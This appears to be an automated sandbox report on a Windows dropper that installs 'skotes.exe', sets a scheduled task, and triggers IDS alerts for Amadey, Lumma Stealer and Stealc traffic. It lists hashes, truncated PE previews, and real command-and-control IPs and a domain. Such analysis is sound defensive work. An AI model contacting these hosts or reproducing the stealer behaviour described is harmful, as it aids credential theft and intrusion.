Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............+.. ...`....@.. .......................@+.....Gx+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...ixnajgom.@......>..:..............@...seyuqqyf. ..........x.............@....taggant.@....+.."...~*.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3279872
Entropy (8bit):	6.678543007246508
Encrypted:	false
SSDEEP:	49152:NcyRqEl5yhyZfpyqcm8consSF1nWSKiYRl7Ea+iwFCrlxbuGLfd:ZRGhyZfpyzmVtAAJZJ9+iwFCnbB7d
MD5:	D75B31BA6F3BEBDB12B9C28A09D444F9
SHA1:	80F5231691EC242EB62324BDF2986C50AE9B2AC8
SHA-256:	E951C2F841B3CA0B3BB4BA865AB40D102A6074A4B6F74C0C10D99F6EA125C2CF
SHA-512:	24DE73A3543D2474CE6C40EC11C814361F3200B752FF165C8283628504B7BBA5090E48713314FDDDE076518060CA18FE7043113AEED24E36E29FB07C057D77ED
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 55%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................2...........@..........................@2.......2...@.................................W...k...........................x.1.............................(.1..................................................... . ............................@....rsrc...............................@....idata ............................@...cmuiqwlw.P+......N+.................@...afwwhgey......2.......1.............@....taggant.0....2.."....1.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.4593089050301797
Encrypted:	false
SSDEEP:	48:9SP0nUgwyZXYI65yFRX2D3GNTTfyn0Mk1iA:9SDKaIjo3UzyE1L
MD5:	D910AD167F0217587501FDCDB33CC544
SHA1:	2F57441CEFDC781011B53C1C5D29AC54835AFC1D
SHA-256:	E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
SHA-512:	F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
Malicious:	false
Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\favicons.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.035822017202226504
Encrypted:	false
SSDEEP:	3:GtlstFKMu3bHCF4lstFKMu3bHCdt/T89//alEl:GtWtIMuLHCF4WtIMuLHCdZ89XuM
MD5:	DB59D4FBD2AB45F6BBA56AC630C4B400
SHA1:	80505D5F120CE29294D20BC89C456C747DB33CD7
SHA-256:	1FC6CC8EC9970154BA23EBDB1D2F21A4B3110D45C7DA2D6FD2858C684A25C12E
SHA-512:	19390DC8648A070037EC57C2DCCAD39057AA221CDA0820D72051BE4965886C7A8E6AC7525FB499C25E836EC86A10545FDBDCDB2C69D512DEFE339F1EC76CF411
Malicious:	false
Preview:	..-.........................._...r}.h1.J...'.f...-.........................._...r}.h1.J...'.f.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	modified
Size (bytes):	32824
Entropy (8bit):	0.03510695119703475
Encrypted:	false
SSDEEP:	3:Ol1JVCS/lIyJ0Hlga5SrV//mwl8XW3R2:Kbv/lxGlgJpuw93w
MD5:	CA82893AA3F2F083E8E72985196784E6
SHA1:	A23A598B8F1D8C8C608FF9E67018EFB730BECBDD
SHA-256:	C22C71A281A6B3BE32806DAB1D62AA29A9281F252F79EF5C513EA5315CA71033
SHA-512:	49D2CE471E1494FF034C7BAE0CB7120A5FB0EDADCE63015BF753F35ADE5D9187BB480906024FB75EBBC0A8173DD1D770C02BFD7C3BF748B92D477831C5AE87DE
Malicious:	false
Preview:	7....-...........r}.h1.JyDu.{.~..........r}.h1.J......_.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10547
Entropy (8bit):	5.49575168894187
Encrypted:	false
SSDEEP:	192:/nTFTRR4YbBp6QLZNMGaXU6qU4rzy+/3/OYiNBw8d7Sl:LCexFNMr4yrdwc0
MD5:	F6B7E9E3F59CAB1A00AEE0EA68619C00
SHA1:	0D7EC9B7831D01AEAF0625D71B7ACD3A9A958D29
SHA-256:	44391566C480C06C41421D0BB7F3005111141FBF6FD9D6AE06BBC8F29C6EF4BF
SHA-512:	B1A6758E32A1301475D952CB8935EE11E9A0F482F671BCC876C0BA8FCCFB8E0846C1FD43E98F47A44A3D7C08C396B8AACC9C781E48D538BC9F8F4C2AB1D16A81
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10547
Entropy (8bit):	5.49575168894187
Encrypted:	false
SSDEEP:	192:/nTFTRR4YbBp6QLZNMGaXU6qU4rzy+/3/OYiNBw8d7Sl:LCexFNMr4yrdwc0
MD5:	F6B7E9E3F59CAB1A00AEE0EA68619C00
SHA1:	0D7EC9B7831D01AEAF0625D71B7ACD3A9A958D29
SHA-256:	44391566C480C06C41421D0BB7F3005111141FBF6FD9D6AE06BBC8F29C6EF4BF
SHA-512:	B1A6758E32A1301475D952CB8935EE11E9A0F482F671BCC876C0BA8FCCFB8E0846C1FD43E98F47A44A3D7C08C396B8AACC9C781E48D538BC9F8F4C2AB1D16A81
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.446225435861987
Encrypted:	false
SSDEEP:	6:xCtjGXXUhXUEZ+lX1CGdKUe6tE9+AQy0lH2t0:xCt84Q1CGAFD9+nVH2t0
MD5:	51ACCBEEBD9F35D8D8381BF6E1016A38
SHA1:	31B96D5B3C6257577489C67B302083292B306960
SHA-256:	413F0276F741190AA96C8135FEB34D6ED97AF90EFA86859F9DFB60CF04A1BFE6
SHA-512:	ABBB639291690D879003DB6045D99C6D59D7D7510B16DEC2AB1DA24BE5ADF15436FEE69378006220A91BF872054DE850242A203D657F553C9C1F1EBCAAF98832
Malicious:	false
Preview:	..........L.....DP2F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.678543007246508
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	3'279'872 bytes
MD5:	d75b31ba6f3bebdb12b9c28a09d444f9
SHA1:	80f5231691ec242eb62324bdf2986c50ae9b2ac8
SHA256:	e951c2f841b3ca0b3bb4ba865ab40d102a6074a4b6f74c0c10d99f6ea125c2cf
SHA512:	24de73a3543d2474ce6c40ec11c814361f3200b752ff165c8283628504b7bba5090e48713314fddde076518060ca18fe7043113aeed24e36e29fb07c057d77ed
SSDEEP:	49152:NcyRqEl5yhyZfpyqcm8consSF1nWSKiYRl7Ea+iwFCrlxbuGLfd:ZRGhyZfpyzmVtAAJZJ9+iwFCnbB7d
TLSH:	C8E5399AB40761CBC48A23FCD0A7CD86596D53BB0B1089C3A86D7DBD6E67CC121B7D24
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x721000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F020CE5547Ah
pminsw mm6, qword ptr [ecx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax-4Dh], ah
adc dl, byte ptr [eax]
inc esp
nop
sub byte ptr [edi], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x388	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x31fd78	0x10	cmuiqwlw
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x31fd28	0x18	cmuiqwlw
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x68000	012b604355affaadb466921148974ea4	False	0.5600867638221154	data	7.053445284969334	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x388	0x400	514f5782f497fa171df6168314823de0	False	0.453125	data	5.340697973950139	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
cmuiqwlw	0x6b000	0x2b5000	0x2b4e00	8d51b9673547f087b69feeca1de50ec3	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
afwwhgey	0x320000	0x1000	0x600	e99162cf1ee71ff805f9d13b7f4e8a2f	False	0.576171875	data	4.941119831468745	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x321000	0x3000	0x2200	80a392a99372de22cbfcbf28923fa843	False	0.060776654411764705	DOS executable (COM)	0.7884781681841612	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69070	0x198	ASCII text, with CRLF line terminators			0.5808823529411765
RT_MANIFEST	0x69208	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-09T21:07:52.600943+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.6	50079	104.21.48.1	443	TCP
2024-12-09T21:07:52.600943+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50079	104.21.48.1	443	TCP
2024-12-09T21:09:05.209521+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	49848	185.215.113.43	80	TCP
2024-12-09T21:09:09.655624+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49859	31.41.244.11	80	TCP
2024-12-09T21:09:13.494827+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49867	172.67.139.78	443	TCP
2024-12-09T21:09:13.726517+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	49854	TCP
2024-12-09T21:09:14.202655+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49867	172.67.139.78	443	TCP
2024-12-09T21:09:14.202655+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49867	172.67.139.78	443	TCP
2024-12-09T21:09:15.077061+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49868	185.215.113.43	80	TCP
2024-12-09T21:09:15.473267+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49873	172.67.139.78	443	TCP
2024-12-09T21:09:16.213022+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49873	172.67.139.78	443	TCP
2024-12-09T21:09:16.213022+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49873	172.67.139.78	443	TCP
2024-12-09T21:09:16.795296+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49874	31.41.244.11	80	TCP
2024-12-09T21:09:17.894518+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49879	172.67.139.78	443	TCP
2024-12-09T21:09:18.817215+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49879	172.67.139.78	443	TCP
2024-12-09T21:09:20.216536+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49884	172.67.139.78	443	TCP
2024-12-09T21:09:22.780336+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49891	172.67.139.78	443	TCP
2024-12-09T21:09:23.795328+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49892	185.215.113.43	80	TCP
2024-12-09T21:09:25.260013+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49898	185.215.113.16	80	TCP
2024-12-09T21:09:25.344458+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49899	172.67.139.78	443	TCP
2024-12-09T21:09:28.495705+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49905	172.67.139.78	443	TCP
2024-12-09T21:09:31.671259+0100	2057921	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (atten-supporse .biz)	1	192.168.2.6	55941	1.1.1.1	53	UDP
2024-12-09T21:09:32.579782+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49916	185.215.113.43	80	TCP
2024-12-09T21:09:33.154989+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.6	49921	104.21.48.1	443	TCP
2024-12-09T21:09:33.154989+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49921	104.21.48.1	443	TCP
2024-12-09T21:09:34.035710+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49923	185.215.113.16	80	TCP
2024-12-09T21:09:34.141395+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49921	104.21.48.1	443	TCP
2024-12-09T21:09:34.141395+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49921	104.21.48.1	443	TCP
2024-12-09T21:09:34.232365+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49924	172.67.139.78	443	TCP
2024-12-09T21:09:35.255676+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49924	172.67.139.78	443	TCP
2024-12-09T21:09:35.600959+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.6	49930	104.21.48.1	443	TCP
2024-12-09T21:09:35.600959+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49930	104.21.48.1	443	TCP
2024-12-09T21:09:36.350431+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49930	104.21.48.1	443	TCP
2024-12-09T21:09:36.350431+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49930	104.21.48.1	443	TCP
2024-12-09T21:09:38.000230+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.6	49936	104.21.48.1	443	TCP
2024-12-09T21:09:38.000230+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49936	104.21.48.1	443	TCP
2024-12-09T21:09:38.982442+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49936	104.21.48.1	443	TCP
2024-12-09T21:09:40.974986+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49942	185.215.113.43	80	TCP
2024-12-09T21:09:41.519430+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.6	49943	104.21.48.1	443	TCP
2024-12-09T21:09:41.519430+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49943	104.21.48.1	443	TCP
2024-12-09T21:09:42.435053+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49945	185.215.113.16	80	TCP
2024-12-09T21:09:42.584237+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49944	185.215.113.206	80	TCP
2024-12-09T21:09:44.101691+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.6	49951	104.21.48.1	443	TCP
2024-12-09T21:09:44.101691+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49951	104.21.48.1	443	TCP
2024-12-09T21:09:46.774416+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.6	49958	104.21.48.1	443	TCP
2024-12-09T21:09:46.774416+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49958	104.21.48.1	443	TCP
